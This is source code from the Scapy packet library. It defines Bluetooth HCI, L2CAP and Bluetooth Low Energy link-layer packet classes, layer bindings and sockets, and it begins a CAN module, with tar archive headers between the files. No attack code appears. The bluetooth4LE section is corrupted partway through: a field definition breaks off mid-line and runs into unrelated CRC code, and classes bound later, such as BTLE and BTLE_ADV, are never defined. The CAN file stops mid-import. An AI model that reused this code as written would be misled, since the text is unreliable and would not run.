class HCI_Cmd_LE_Host_Supported(Packet): name = "LE Host Supported" fields_desc = [ByteField("supported", 1), ByteField("simultaneous", 1), ] class HCI_Cmd_Set_Event_Mask(Packet): name = "Set Event Mask" fields_desc = [StrFixedLenField("mask", b"\xff\xff\xfb\xff\x07\xf8\xbf\x3d", 8)] # noqa: E501 class HCI_Cmd_Read_BD_Addr(Packet): name = "Read BD Addr" class HCI_Cmd_Write_Local_Name(Packet): name = "Write Local Name" fields_desc = [StrField("name", "")] class HCI_Cmd_Write_Extended_Inquiry_Response(Packet): name = "Write Extended Inquiry Response" fields_desc = [ByteField("fec_required", 0), PacketListField("eir_data", [], EIR_Hdr, length_from=lambda pkt:pkt.len)] class HCI_Cmd_LE_Set_Scan_Parameters(Packet): name = "LE Set Scan Parameters" fields_desc = [ByteEnumField("type", 1, {1: "active"}), XLEShortField("interval", 16), XLEShortField("window", 16), ByteEnumField("atype", 0, {0: "public"}), ByteEnumField("policy", 0, {0: "all", 1: "whitelist"})] class HCI_Cmd_LE_Set_Scan_Enable(Packet): name = "LE Set Scan Enable" fields_desc = [ByteField("enable", 1), ByteField("filter_dups", 1), ] class HCI_Cmd_Disconnect(Packet): name = "Disconnect" fields_desc = [XLEShortField("handle", 0), ByteField("reason", 0x13), ] class HCI_Cmd_LE_Create_Connection(Packet): name = "LE Create Connection" fields_desc = [LEShortField("interval", 96), LEShortField("window", 48), ByteEnumField("filter", 0, {0: "address"}), ByteEnumField("patype", 0, {0: "public", 1: "random"}), LEMACField("paddr", None), ByteEnumField("atype", 0, {0: "public", 1: "random"}), LEShortField("min_interval", 40), LEShortField("max_interval", 56), LEShortField("latency", 0), LEShortField("timeout", 42), LEShortField("min_ce", 0), LEShortField("max_ce", 0), ] class HCI_Cmd_LE_Create_Connection_Cancel(Packet): name = "LE Create Connection Cancel" class HCI_Cmd_LE_Read_White_List_Size(Packet): name = "LE Read White List Size" class HCI_Cmd_LE_Clear_White_List(Packet): name = "LE Clear White List" class HCI_Cmd_LE_Add_Device_To_White_List(Packet): name = "LE Add Device to White List" fields_desc = [ByteEnumField("atype", 0, {0: "public", 1: "random"}), LEMACField("address", None)] class HCI_Cmd_LE_Remove_Device_From_White_List(HCI_Cmd_LE_Add_Device_To_White_List): # noqa: E501 name = "LE Remove Device from White List" class HCI_Cmd_LE_Connection_Update(Packet): name = "LE Connection Update" fields_desc = [XLEShortField("handle", 0), XLEShortField("min_interval", 0), XLEShortField("max_interval", 0), XLEShortField("latency", 0), XLEShortField("timeout", 0), LEShortField("min_ce", 0), LEShortField("max_ce", 0xffff), ] class HCI_Cmd_LE_Read_Buffer_Size(Packet): name = "LE Read Buffer Size" class HCI_Cmd_LE_Read_Remote_Used_Features(Packet): name = "LE Read Remote Used Features" fields_desc = [LEShortField("handle", 64)] class HCI_Cmd_LE_Set_Random_Address(Packet): name = "LE Set Random Address" fields_desc = [LEMACField("address", None)] class HCI_Cmd_LE_Set_Advertising_Parameters(Packet): name = "LE Set Advertising Parameters" fields_desc = [LEShortField("interval_min", 0x0800), LEShortField("interval_max", 0x0800), ByteEnumField("adv_type", 0, {0: "ADV_IND", 1: "ADV_DIRECT_IND", 2: "ADV_SCAN_IND", 3: "ADV_NONCONN_IND", 4: "ADV_DIRECT_IND_LOW"}), # noqa: E501 ByteEnumField("oatype", 0, {0: "public", 1: "random"}), ByteEnumField("datype", 0, {0: "public", 1: "random"}), LEMACField("daddr", None), ByteField("channel_map", 7), ByteEnumField("filter_policy", 0, {0: "all:all", 1: "connect:all scan:whitelist", 2: "connect:whitelist scan:all", 3: "all:whitelist"}), ] # noqa: E501 class HCI_Cmd_LE_Set_Advertising_Data(Packet): name = "LE Set Advertising Data" fields_desc = [FieldLenField("len", None, length_of="data", fmt="B"), PadField( PacketListField("data", [], EIR_Hdr, length_from=lambda pkt:pkt.len), align=31, padwith=b"\0"), ] class HCI_Cmd_LE_Set_Scan_Response_Data(Packet): name = "LE Set Scan Response Data" fields_desc = [FieldLenField("len", None, length_of="data", fmt="B"), StrLenField("data", "", length_from=lambda pkt:pkt.len), ] class HCI_Cmd_LE_Set_Advertise_Enable(Packet): name = "LE Set Advertise Enable" fields_desc = [ByteField("enable", 0)] class HCI_Cmd_LE_Start_Encryption_Request(Packet): name = "LE Start Encryption" fields_desc = [LEShortField("handle", 0), StrFixedLenField("rand", None, 8), XLEShortField("ediv", 0), StrFixedLenField("ltk", b'\x00' * 16, 16), ] class HCI_Cmd_LE_Long_Term_Key_Request_Negative_Reply(Packet): name = "LE Long Term Key Request Negative Reply" fields_desc = [LEShortField("handle", 0), ] class HCI_Cmd_LE_Long_Term_Key_Request_Reply(Packet): name = "LE Long Term Key Request Reply" fields_desc = [LEShortField("handle", 0), StrFixedLenField("ltk", b'\x00' * 16, 16), ] class HCI_Event_Hdr(Packet): name = "HCI Event header" fields_desc = [XByteField("code", 0), LenField("len", None, fmt="B"), ] def answers(self, other): if HCI_Command_Hdr not in other: return False # Delegate answers to event types return self.payload.answers(other) class HCI_Event_Disconnection_Complete(Packet): name = "Disconnection Complete" fields_desc = [ByteEnumField("status", 0, {0: "success"}), LEShortField("handle", 0), XByteField("reason", 0), ] class HCI_Event_Encryption_Change(Packet): name = "Encryption Change" fields_desc = [ByteEnumField("status", 0, {0: "change has occurred"}), LEShortField("handle", 0), ByteEnumField("enabled", 0, {0: "OFF", 1: "ON (LE)", 2: "ON (BR/EDR)"}), ] # noqa: E501 class HCI_Event_Command_Complete(Packet): name = "Command Complete" fields_desc = [ByteField("number", 0), XLEShortField("opcode", 0), ByteEnumField("status", 0, _bluetooth_error_codes)] def answers(self, other): if HCI_Command_Hdr not in other: return False return other[HCI_Command_Hdr].opcode == self.opcode class HCI_Cmd_Complete_Read_BD_Addr(Packet): name = "Read BD Addr" fields_desc = [LEMACField("addr", None), ] class HCI_Cmd_Complete_LE_Read_White_List_Size(Packet): name = "LE Read White List Size" fields_desc = [ByteField("status", 0), ByteField("size", 0), ] class HCI_Event_Command_Status(Packet): name = "Command Status" fields_desc = [ByteEnumField("status", 0, {0: "pending"}), ByteField("number", 0), XLEShortField("opcode", None), ] def answers(self, other): if HCI_Command_Hdr not in other: return False return other[HCI_Command_Hdr].opcode == self.opcode class HCI_Event_Number_Of_Completed_Packets(Packet): name = "Number Of Completed Packets" fields_desc = [ByteField("number", 0)] class HCI_Event_LE_Meta(Packet): name = "LE Meta" fields_desc = [ByteEnumField("event", 0, { 1: "connection_complete", 2: "advertising_report", 3: "connection_update_complete", 5: "long_term_key_request", }), ] def answers(self, other): if not self.payload: return False # Delegate answers to payload return self.payload.answers(other) class HCI_LE_Meta_Connection_Complete(Packet): name = "Connection Complete" fields_desc = [ByteEnumField("status", 0, {0: "success"}), LEShortField("handle", 0), ByteEnumField("role", 0, {0: "master"}), ByteEnumField("patype", 0, {0: "public", 1: "random"}), LEMACField("paddr", None), LEShortField("interval", 54), LEShortField("latency", 0), LEShortField("supervision", 42), XByteField("clock_latency", 5), ] def answers(self, other): if HCI_Cmd_LE_Create_Connection not in other: return False return (other[HCI_Cmd_LE_Create_Connection].patype == self.patype and other[HCI_Cmd_LE_Create_Connection].paddr == self.paddr) class HCI_LE_Meta_Connection_Update_Complete(Packet): name = "Connection Update Complete" fields_desc = [ByteEnumField("status", 0, {0: "success"}), LEShortField("handle", 0), LEShortField("interval", 54), LEShortField("latency", 0), LEShortField("timeout", 42), ] class HCI_LE_Meta_Advertising_Report(Packet): name = "Advertising Report" fields_desc = [ByteEnumField("type", 0, {0: "conn_und", 4: "scan_rsp"}), ByteEnumField("atype", 0, {0: "public", 1: "random"}), LEMACField("addr", None), FieldLenField("len", None, length_of="data", fmt="B"), PacketListField("data", [], EIR_Hdr, length_from=lambda pkt:pkt.len), SignedByteField("rssi", 0)] def extract_padding(self, s): return '', s class HCI_LE_Meta_Advertising_Reports(Packet): name = "Advertising Reports" fields_desc = [FieldLenField("len", None, count_of="reports", fmt="B"), PacketListField("reports", None, HCI_LE_Meta_Advertising_Report, count_from=lambda pkt:pkt.len)] class HCI_LE_Meta_Long_Term_Key_Request(Packet): name = "Long Term Key Request" fields_desc = [LEShortField("handle", 0), StrFixedLenField("rand", None, 8), XLEShortField("ediv", 0), ] bind_layers(HCI_PHDR_Hdr, HCI_Hdr) bind_layers(HCI_Hdr, HCI_Command_Hdr, type=1) bind_layers(HCI_Hdr, HCI_ACL_Hdr, type=2) bind_layers(HCI_Hdr, HCI_Event_Hdr, type=4) bind_layers(HCI_Hdr, conf.raw_layer,) conf.l2types.register(DLT_BLUETOOTH_HCI_H4, HCI_Hdr) conf.l2types.register(DLT_BLUETOOTH_HCI_H4_WITH_PHDR, HCI_PHDR_Hdr) bind_layers(HCI_Command_Hdr, HCI_Cmd_Reset, opcode=0x0c03) bind_layers(HCI_Command_Hdr, HCI_Cmd_Set_Event_Mask, opcode=0x0c01) bind_layers(HCI_Command_Hdr, HCI_Cmd_Set_Event_Filter, opcode=0x0c05) bind_layers(HCI_Command_Hdr, HCI_Cmd_Connect_Accept_Timeout, opcode=0x0c16) bind_layers(HCI_Command_Hdr, HCI_Cmd_LE_Host_Supported, opcode=0x0c6d) bind_layers(HCI_Command_Hdr, HCI_Cmd_Write_Extended_Inquiry_Response, opcode=0x0c52) # noqa: E501 bind_layers(HCI_Command_Hdr, HCI_Cmd_Read_BD_Addr, opcode=0x1009) bind_layers(HCI_Command_Hdr, HCI_Cmd_Write_Local_Name, opcode=0x0c13) bind_layers(HCI_Command_Hdr, HCI_Cmd_LE_Read_Buffer_Size, opcode=0x2002) bind_layers(HCI_Command_Hdr, HCI_Cmd_LE_Set_Random_Address, opcode=0x2005) bind_layers(HCI_Command_Hdr, HCI_Cmd_LE_Set_Advertising_Parameters, opcode=0x2006) # noqa: E501 bind_layers(HCI_Command_Hdr, HCI_Cmd_LE_Set_Advertising_Data, opcode=0x2008) bind_layers(HCI_Command_Hdr, HCI_Cmd_LE_Set_Scan_Response_Data, opcode=0x2009) bind_layers(HCI_Command_Hdr, HCI_Cmd_LE_Set_Advertise_Enable, opcode=0x200a) bind_layers(HCI_Command_Hdr, HCI_Cmd_LE_Set_Scan_Parameters, opcode=0x200b) bind_layers(HCI_Command_Hdr, HCI_Cmd_LE_Set_Scan_Enable, opcode=0x200c) bind_layers(HCI_Command_Hdr, HCI_Cmd_Disconnect, opcode=0x406) bind_layers(HCI_Command_Hdr, HCI_Cmd_LE_Create_Connection, opcode=0x200d) bind_layers(HCI_Command_Hdr, HCI_Cmd_LE_Create_Connection_Cancel, opcode=0x200e) # noqa: E501 bind_layers(HCI_Command_Hdr, HCI_Cmd_LE_Read_White_List_Size, opcode=0x200f) bind_layers(HCI_Command_Hdr, HCI_Cmd_LE_Clear_White_List, opcode=0x2010) bind_layers(HCI_Command_Hdr, HCI_Cmd_LE_Add_Device_To_White_List, opcode=0x2011) # noqa: E501 bind_layers(HCI_Command_Hdr, HCI_Cmd_LE_Remove_Device_From_White_List, opcode=0x2012) # noqa: E501 bind_layers(HCI_Command_Hdr, HCI_Cmd_LE_Connection_Update, opcode=0x2013) bind_layers(HCI_Command_Hdr, HCI_Cmd_LE_Read_Remote_Used_Features, opcode=0x2016) # noqa: E501 bind_layers(HCI_Command_Hdr, HCI_Cmd_LE_Start_Encryption_Request, opcode=0x2019) # noqa: E501 bind_layers(HCI_Command_Hdr, HCI_Cmd_LE_Start_Encryption_Request, opcode=0x2019) # noqa: E501 bind_layers(HCI_Command_Hdr, HCI_Cmd_LE_Long_Term_Key_Request_Reply, opcode=0x201a) # noqa: E501 bind_layers(HCI_Command_Hdr, HCI_Cmd_LE_Long_Term_Key_Request_Negative_Reply, opcode=0x201b) # noqa: E501 bind_layers(HCI_Event_Hdr, HCI_Event_Disconnection_Complete, code=0x5) bind_layers(HCI_Event_Hdr, HCI_Event_Encryption_Change, code=0x8) bind_layers(HCI_Event_Hdr, HCI_Event_Command_Complete, code=0xe) bind_layers(HCI_Event_Hdr, HCI_Event_Command_Status, code=0xf) bind_layers(HCI_Event_Hdr, HCI_Event_Number_Of_Completed_Packets, code=0x13) bind_layers(HCI_Event_Hdr, HCI_Event_LE_Meta, code=0x3e) bind_layers(HCI_Event_Command_Complete, HCI_Cmd_Complete_Read_BD_Addr, opcode=0x1009) # noqa: E501 bind_layers(HCI_Event_Command_Complete, HCI_Cmd_Complete_LE_Read_White_List_Size, opcode=0x200f) # noqa: E501 bind_layers(HCI_Event_LE_Meta, HCI_LE_Meta_Connection_Complete, event=1) bind_layers(HCI_Event_LE_Meta, HCI_LE_Meta_Advertising_Reports, event=2) bind_layers(HCI_Event_LE_Meta, HCI_LE_Meta_Connection_Update_Complete, event=3) bind_layers(HCI_Event_LE_Meta, HCI_LE_Meta_Long_Term_Key_Request, event=5) bind_layers(EIR_Hdr, EIR_Flags, type=0x01) bind_layers(EIR_Hdr, EIR_IncompleteList16BitServiceUUIDs, type=0x02) bind_layers(EIR_Hdr, EIR_CompleteList16BitServiceUUIDs, type=0x03) bind_layers(EIR_Hdr, EIR_IncompleteList128BitServiceUUIDs, type=0x06) bind_layers(EIR_Hdr, EIR_CompleteList128BitServiceUUIDs, type=0x07) bind_layers(EIR_Hdr, EIR_ShortenedLocalName, type=0x08) bind_layers(EIR_Hdr, EIR_CompleteLocalName, type=0x09) bind_layers(EIR_Hdr, EIR_Device_ID, type=0x10) bind_layers(EIR_Hdr, EIR_TX_Power_Level, type=0x0a) bind_layers(EIR_Hdr, EIR_ServiceData16BitUUID, type=0x16) bind_layers(EIR_Hdr, EIR_Manufacturer_Specific_Data, type=0xff) bind_layers(EIR_Hdr, EIR_Raw) bind_layers(HCI_ACL_Hdr, L2CAP_Hdr,) bind_layers(L2CAP_Hdr, L2CAP_CmdHdr, cid=1) bind_layers(L2CAP_Hdr, L2CAP_CmdHdr, cid=5) # LE L2CAP Signaling Channel bind_layers(L2CAP_CmdHdr, L2CAP_CmdRej, code=1) bind_layers(L2CAP_CmdHdr, L2CAP_ConnReq, code=2) bind_layers(L2CAP_CmdHdr, L2CAP_ConnResp, code=3) bind_layers(L2CAP_CmdHdr, L2CAP_ConfReq, code=4) bind_layers(L2CAP_CmdHdr, L2CAP_ConfResp, code=5) bind_layers(L2CAP_CmdHdr, L2CAP_DisconnReq, code=6) bind_layers(L2CAP_CmdHdr, L2CAP_DisconnResp, code=7) bind_layers(L2CAP_CmdHdr, L2CAP_InfoReq, code=10) bind_layers(L2CAP_CmdHdr, L2CAP_InfoResp, code=11) bind_layers(L2CAP_CmdHdr, L2CAP_Connection_Parameter_Update_Request, code=18) bind_layers(L2CAP_CmdHdr, L2CAP_Connection_Parameter_Update_Response, code=19) bind_layers(L2CAP_Hdr, ATT_Hdr, cid=4) bind_layers(ATT_Hdr, ATT_Error_Response, opcode=0x1) bind_layers(ATT_Hdr, ATT_Exchange_MTU_Request, opcode=0x2) bind_layers(ATT_Hdr, ATT_Exchange_MTU_Response, opcode=0x3) bind_layers(ATT_Hdr, ATT_Find_Information_Request, opcode=0x4) bind_layers(ATT_Hdr, ATT_Find_Information_Response, opcode=0x5) bind_layers(ATT_Hdr, ATT_Find_By_Type_Value_Request, opcode=0x6) bind_layers(ATT_Hdr, ATT_Find_By_Type_Value_Response, opcode=0x7) bind_layers(ATT_Hdr, ATT_Read_By_Type_Request_128bit, opcode=0x8) bind_layers(ATT_Hdr, ATT_Read_By_Type_Request, opcode=0x8) bind_layers(ATT_Hdr, ATT_Read_By_Type_Response, opcode=0x9) bind_layers(ATT_Hdr, ATT_Read_Request, opcode=0xa) bind_layers(ATT_Hdr, ATT_Read_Response, opcode=0xb) bind_layers(ATT_Hdr, ATT_Read_Blob_Request, opcode=0xc) bind_layers(ATT_Hdr, ATT_Read_Blob_Response, opcode=0xd) bind_layers(ATT_Hdr, ATT_Read_Multiple_Request, opcode=0xe) bind_layers(ATT_Hdr, ATT_Read_Multiple_Response, opcode=0xf) bind_layers(ATT_Hdr, ATT_Read_By_Group_Type_Request, opcode=0x10) bind_layers(ATT_Hdr, ATT_Read_By_Group_Type_Response, opcode=0x11) bind_layers(ATT_Hdr, ATT_Write_Request, opcode=0x12) bind_layers(ATT_Hdr, ATT_Write_Response, opcode=0x13) bind_layers(ATT_Hdr, ATT_Prepare_Write_Request, opcode=0x16) bind_layers(ATT_Hdr, ATT_Prepare_Write_Response, opcode=0x17) bind_layers(ATT_Hdr, ATT_Execute_Write_Request, opcode=0x18) bind_layers(ATT_Hdr, ATT_Execute_Write_Response, opcode=0x19) bind_layers(ATT_Hdr, ATT_Write_Command, opcode=0x52) bind_layers(ATT_Hdr, ATT_Handle_Value_Notification, opcode=0x1b) bind_layers(ATT_Hdr, ATT_Handle_Value_Indication, opcode=0x1d) bind_layers(L2CAP_Hdr, SM_Hdr, cid=6) bind_layers(SM_Hdr, SM_Pairing_Request, sm_command=1) bind_layers(SM_Hdr, SM_Pairing_Response, sm_command=2) bind_layers(SM_Hdr, SM_Confirm, sm_command=3) bind_layers(SM_Hdr, SM_Random, sm_command=4) bind_layers(SM_Hdr, SM_Failed, sm_command=5) bind_layers(SM_Hdr, SM_Encryption_Information, sm_command=6) bind_layers(SM_Hdr, SM_Master_Identification, sm_command=7) bind_layers(SM_Hdr, SM_Identity_Information, sm_command=8) bind_layers(SM_Hdr, SM_Identity_Address_Information, sm_command=9) bind_layers(SM_Hdr, SM_Signing_Information, sm_command=0x0a) bind_layers(SM_Hdr, SM_Public_Key, sm_command=0x0c) bind_layers(SM_Hdr, SM_DHKey_Check, sm_command=0x0d) ########### # Helpers # ########### class LowEnergyBeaconHelper: """ Helpers for building packets for Bluetooth Low Energy Beacons. Implementors provide a :meth:`build_eir` implementation. This is designed to be used as a mix-in -- see ``scapy.contrib.eddystone`` and ``scapy.contrib.ibeacon`` for examples. """ # Basic flags that should be used by most beacons. base_eir = [EIR_Hdr() / EIR_Flags(flags=[ "general_disc_mode", "br_edr_not_supported"]), ] def build_eir(self): """ Builds a list of EIR messages to wrap this frame. Users of this helper must implement this method. :return: List of HCI_Hdr with payloads that describe this beacon type :rtype: list[scapy.bluetooth.HCI_Hdr] """ raise NotImplementedError("build_eir") def build_advertising_report(self): """ Builds a HCI_LE_Meta_Advertising_Report containing this frame. :rtype: scapy.bluetooth.HCI_LE_Meta_Advertising_Report """ return HCI_LE_Meta_Advertising_Report( type=0, # Undirected atype=1, # Random address data=self.build_eir() ) def build_set_advertising_data(self): """Builds a HCI_Cmd_LE_Set_Advertising_Data containing this frame. This includes the :class:`HCI_Hdr` and :class:`HCI_Command_Hdr` layers. :rtype: scapy.bluetooth.HCI_Hdr """ return HCI_Hdr() / HCI_Command_Hdr() / HCI_Cmd_LE_Set_Advertising_Data( data=self.build_eir() ) ########### # Sockets # ########### class BluetoothSocketError(BaseException): pass class BluetoothCommandError(BaseException): pass class BluetoothL2CAPSocket(SuperSocket): desc = "read/write packets on a connected L2CAP socket" def __init__(self, bt_address): if WINDOWS: warning("Not available on Windows") return s = socket.socket(socket.AF_BLUETOOTH, socket.SOCK_RAW, socket.BTPROTO_L2CAP) s.connect((bt_address, 0)) self.ins = self.outs = s def recv(self, x=MTU): return L2CAP_CmdHdr(self.ins.recv(x)) class BluetoothRFCommSocket(BluetoothL2CAPSocket): """read/write packets on a connected RFCOMM socket""" def __init__(self, bt_address, port=0): s = socket.socket(socket.AF_BLUETOOTH, socket.SOCK_RAW, socket.BTPROTO_RFCOMM) s.connect((bt_address, port)) self.ins = self.outs = s class BluetoothHCISocket(SuperSocket): desc = "read/write on a BlueTooth HCI socket" def __init__(self, iface=0x10000, type=None): if WINDOWS: warning("Not available on Windows") return s = socket.socket(socket.AF_BLUETOOTH, socket.SOCK_RAW, socket.BTPROTO_HCI) # noqa: E501 s.setsockopt(socket.SOL_HCI, socket.HCI_DATA_DIR, 1) s.setsockopt(socket.SOL_HCI, socket.HCI_TIME_STAMP, 1) s.setsockopt(socket.SOL_HCI, socket.HCI_FILTER, struct.pack("IIIh2x", 0xffffffff, 0xffffffff, 0xffffffff, 0)) # type mask, event mask, event mask, opcode # noqa: E501 s.bind((iface,)) self.ins = self.outs = s # s.connect((peer,0)) def recv(self, x=MTU): return HCI_Hdr(self.ins.recv(x)) class sockaddr_hci(ctypes.Structure): _fields_ = [ ("sin_family", ctypes.c_ushort), ("hci_dev", ctypes.c_ushort), ("hci_channel", ctypes.c_ushort), ] class BluetoothUserSocket(SuperSocket): desc = "read/write H4 over a Bluetooth user channel" def __init__(self, adapter_index=0): if WINDOWS: warning("Not available on Windows") return # s = socket.socket(socket.AF_BLUETOOTH, socket.SOCK_RAW, socket.BTPROTO_HCI) # noqa: E501 # s.bind((0,1)) # yeah, if only # thanks to Python's weak ass socket and bind implementations, we have # to call down into libc with ctypes sockaddr_hcip = ctypes.POINTER(sockaddr_hci) ctypes.cdll.LoadLibrary("libc.so.6") libc = ctypes.CDLL("libc.so.6") socket_c = libc.socket socket_c.argtypes = (ctypes.c_int, ctypes.c_int, ctypes.c_int) socket_c.restype = ctypes.c_int bind = libc.bind bind.argtypes = (ctypes.c_int, ctypes.POINTER(sockaddr_hci), ctypes.c_int) bind.restype = ctypes.c_int ######## # actual code s = socket_c(31, 3, 1) # (AF_BLUETOOTH, SOCK_RAW, HCI_CHANNEL_USER) if s < 0: raise BluetoothSocketError("Unable to open PF_BLUETOOTH socket") sa = sockaddr_hci() sa.sin_family = 31 # AF_BLUETOOTH sa.hci_dev = adapter_index # adapter index sa.hci_channel = 1 # HCI_USER_CHANNEL r = bind(s, sockaddr_hcip(sa), sizeof(sa)) if r != 0: raise BluetoothSocketError("Unable to bind") self.ins = self.outs = socket.fromfd(s, 31, 3, 1) def send_command(self, cmd): opcode = cmd.opcode self.send(cmd) while True: r = self.recv() if r.type == 0x04 and r.code == 0xe and r.opcode == opcode: if r.status != 0: raise BluetoothCommandError("Command %x failed with %x" % (opcode, r.status)) # noqa: E501 return r def recv(self, x=MTU): return HCI_Hdr(self.ins.recv(x)) def readable(self, timeout=0): (ins, outs, foo) = select.select([self.ins], [], [], timeout) return len(ins) > 0 def flush(self): while self.readable(): self.recv() def close(self): if self.closed: return # Properly close socket so we can free the device ctypes.cdll.LoadLibrary("libc.so.6") libc = ctypes.CDLL("libc.so.6") close = libc.close close.restype = ctypes.c_int self.closed = True if hasattr(self, "outs"): if not hasattr(self, "ins") or self.ins != self.outs: if self.outs and (WINDOWS or self.outs.fileno() != -1): close(self.outs.fileno()) if hasattr(self, "ins"): if self.ins and (WINDOWS or self.ins.fileno() != -1): close(self.ins.fileno()) conf.BTsocket = BluetoothRFCommSocket # Bluetooth @conf.commands.register def srbt(bt_address, pkts, inter=0.1, *args, **kargs): """send and receive using a bluetooth socket""" if "port" in kargs: s = conf.BTsocket(bt_address=bt_address, port=kargs.pop("port")) else: s = conf.BTsocket(bt_address=bt_address) a, b = sndrcv(s, pkts, inter=inter, *args, **kargs) s.close() return a, b @conf.commands.register def srbt1(bt_address, pkts, *args, **kargs): """send and receive 1 packet using a bluetooth socket""" a, b = srbt(bt_address, pkts, *args, **kargs) if len(a) > 0: return a[0][1] scapy-2.4.4/scapy/layers/bluetooth4LE.py000066400000000000000000000215031372370053500201500ustar00rootroot00000000000000# This file is for use with Scapy # See http://www.secdev.org/projects/scapy for more information # Copyright (C) Airbus DS CyberSecurity # Authors: Jean-Michel Picod, Arnaud Lebrun, Jonathan Christofer Demay # This program is published under a GPLv2 license """Bluetooth 4LE layer""" import struct from scapy.compat import orb, chb from scapy.config import conf from scapy.data import DLT_BLUETOOTH_LE_LL, DLT_BLUETOOTH_LE_LL_WITH_PHDR, \ PPI_BTLE from scapy.packet import Packet, bind_layers from scapy.fields import BitEnumField, BitField, ByteEnumField, ByteField, \ Field, FlagsField, LEIntField, LEShortEnumField, LEShortField, \ MACField, PacketListField, SignedByteField, X3BytesField, XBitField, \ XByteField, XIntField, XShortField, XLEIntField, XLEShortField from scapy.layers.bluetooth import EIR_Hdr, L2CAP_Hdr from scapy.layers.ppi import PPI_Element, PPI_Hdr from scapy.modules.six.moves import range from scapy.utils import mac2str, str2mac #################### # Transport Layers # #################### class BTLE_PPI(PPI_Element): """Cooked BTLE PPI header See ``ppi_btle_t`` in https://github.com/greatscottgadgets/libbtbb/blob/master/lib/src/pcap.c """ name = "BTLE PPI header" fields_desc = [ ByteField("btle_version", 0), # btle_channel is a frequency in MHz. Named for consistency with # other users. LEShortField("btle_channel", None), ByteField("btle_clkn_high", None), LEIntField("btle_clk_100ns", None), SignedByteField("rssi_max", None), SignedByteField("rssi_min", None), SignedByteField("rssi_avg", None), ByteField("rssi_count", None) ] class BTLE_RF(Packet): """Cooked BTLE link-layer pseudoheader. http://www.whiterocker.com/bt/LINKTYPE_BLUETOOTH_LE_LL_WITH_PHDR.html """ name = "BTLE RF info header" fields_desc = [ ByteField("rf_channel", 0), SignedByteField("signal", -128), SignedByteField("noise", -128), ByteField("access_address_offenses", 0), XLEIntField("reference_access_address", 0), FlagsField("flags", 0, -16, [ "dewhitened", "sig_power_valid", "noise_power_valid", "decrypted", "reference_access_address_valid", "access_address_offenses_valid", "channel_aliased", "res1", "res2", "res3", "crc_checked", "crc_valid", "mic_checked", "mic_valid", "res4", "res5" ]) ] ########## # Fields # ########## class BDAddrField(MACField): def __init__(self, name, default, resolve=False): MACField.__init__(self, name, default) if resolve: conf.resolve.add(self) def i2m(self, pkt, x): if x is None: return b"\0\0\0\0\0\0" return mac2str(':'.join(x.split(':')[::-1])) def m2i(self, pkt, x): return str2mac(x[::-1]) class BTLEChanMapField(XByteField): def __init__(self, name, default): Field.__init__(self, name, default, "> 8) & 0xff) << 8) + (swapbits((init >> 16) & 0xff) << 16) # noqa: E501 lfsr_mask = 0x5a6000 for i in (orb(x) for x in pdu): for j in range(8): next_bit = (state ^ i) & 1 i >>= 1 state >>= 1 if next_bit: state |= 1 << 23 state ^= lfsr_mask return struct.pack(" 2: l_pay = len(pay) else: l_pay = 0 p = p[:1] + chb(l_pay & 0x3f) + p[2:] if not isinstance(self.underlayer, BTLE): self.add_underlayer(BTLE) return p class BTLE_DATA(Packet): name = "BTLE data header" fields_desc = [ BitField("RFU", 0, 3), # Unused BitField("MD", 0, 1), BitField("SN", 0, 1), BitField("NESN", 0, 1), BitEnumField("LLID", 0, 2, {1: "continue", 2: "start", 3: "control"}), ByteField("len", None), ] def post_build(self, p, pay): if self.len is None: p = p[:-1] + chb(len(pay)) return p + pay class BTLE_ADV_IND(Packet): name = "BTLE ADV_IND" fields_desc = [ BDAddrField("AdvA", None), PacketListField("data", None, EIR_Hdr) ] class BTLE_ADV_DIRECT_IND(Packet): name = "BTLE ADV_DIRECT_IND" fields_desc = [ BDAddrField("AdvA", None), BDAddrField("InitA", None) ] class BTLE_ADV_NONCONN_IND(BTLE_ADV_IND): name = "BTLE ADV_NONCONN_IND" class BTLE_ADV_SCAN_IND(BTLE_ADV_IND): name = "BTLE ADV_SCAN_IND" class BTLE_SCAN_REQ(Packet): name = "BTLE scan request" fields_desc = [ BDAddrField("ScanA", None), BDAddrField("AdvA", None) ] def answers(self, other): return BTLE_SCAN_RSP in other and self.AdvA == other.AdvA class BTLE_SCAN_RSP(Packet): name = "BTLE scan response" fields_desc = [ BDAddrField("AdvA", None), PacketListField("data", None, EIR_Hdr) ] def answers(self, other): return BTLE_SCAN_REQ in other and self.AdvA == other.AdvA class BTLE_CONNECT_REQ(Packet): name = "BTLE connect request" fields_desc = [ BDAddrField("InitA", None), BDAddrField("AdvA", None), # LLDATA XIntField("AA", 0x00), X3BytesField("crc_init", 0x0), XByteField("win_size", 0x0), XLEShortField("win_offset", 0x0), XLEShortField("interval", 0x0), XLEShortField("latency", 0x0), XLEShortField("timeout", 0x0), BTLEChanMapField("chM", 0), BitField("SCA", 0, 3), BitField("hop", 0, 5), ] BTLE_Versions = { 7: '4.1' } BTLE_Corp_IDs = { 0xf: 'Broadcom Corporation' } class CtrlPDU(Packet): name = "CtrlPDU" fields_desc = [ XByteField("optcode", 0), ByteEnumField("version", 0, BTLE_Versions), LEShortEnumField("Company", 0, BTLE_Corp_IDs), XShortField("subversion", 0) ] bind_layers(BTLE, BTLE_ADV, access_addr=0x8E89BED6) bind_layers(BTLE, BTLE_DATA) bind_layers(BTLE_ADV, BTLE_ADV_IND, PDU_type=0) bind_layers(BTLE_ADV, BTLE_ADV_DIRECT_IND, PDU_type=1) bind_layers(BTLE_ADV, BTLE_ADV_NONCONN_IND, PDU_type=2) bind_layers(BTLE_ADV, BTLE_SCAN_REQ, PDU_type=3) bind_layers(BTLE_ADV, BTLE_SCAN_RSP, PDU_type=4) bind_layers(BTLE_ADV, BTLE_CONNECT_REQ, PDU_type=5) bind_layers(BTLE_ADV, BTLE_ADV_SCAN_IND, PDU_type=6) bind_layers(BTLE_DATA, L2CAP_Hdr, LLID=2) # BTLE_DATA / L2CAP_Hdr / ATT_Hdr # LLID=1 -> Continue bind_layers(BTLE_DATA, CtrlPDU, LLID=3) conf.l2types.register(DLT_BLUETOOTH_LE_LL, BTLE) conf.l2types.register(DLT_BLUETOOTH_LE_LL_WITH_PHDR, BTLE_RF) bind_layers(BTLE_RF, BTLE) bind_layers(PPI_Hdr, BTLE_PPI, pfh_type=PPI_BTLE) scapy-2.4.4/scapy/layers/can.py000066400000000000000000000353151372370053500164050ustar00rootroot00000000000000# This file is part of Scapy # See http://www.secdev.org/projects/scapy for more information # Copyright (C) Philippe Biondi # This program is published under a GPLv2 license """A minimal implementation of the CANopen protocol, based on Wireshark dissectors. See https://wiki.wireshark.org/CANopen """ import os import gzip import struct import binascii import scapy.modules.six as six from scapy.config import conf from scapy.compat import orb from scapy.data import DLT_CAN_SOCKETCAN, MTU from scapy.fields import FieldLenField, FlagsField, 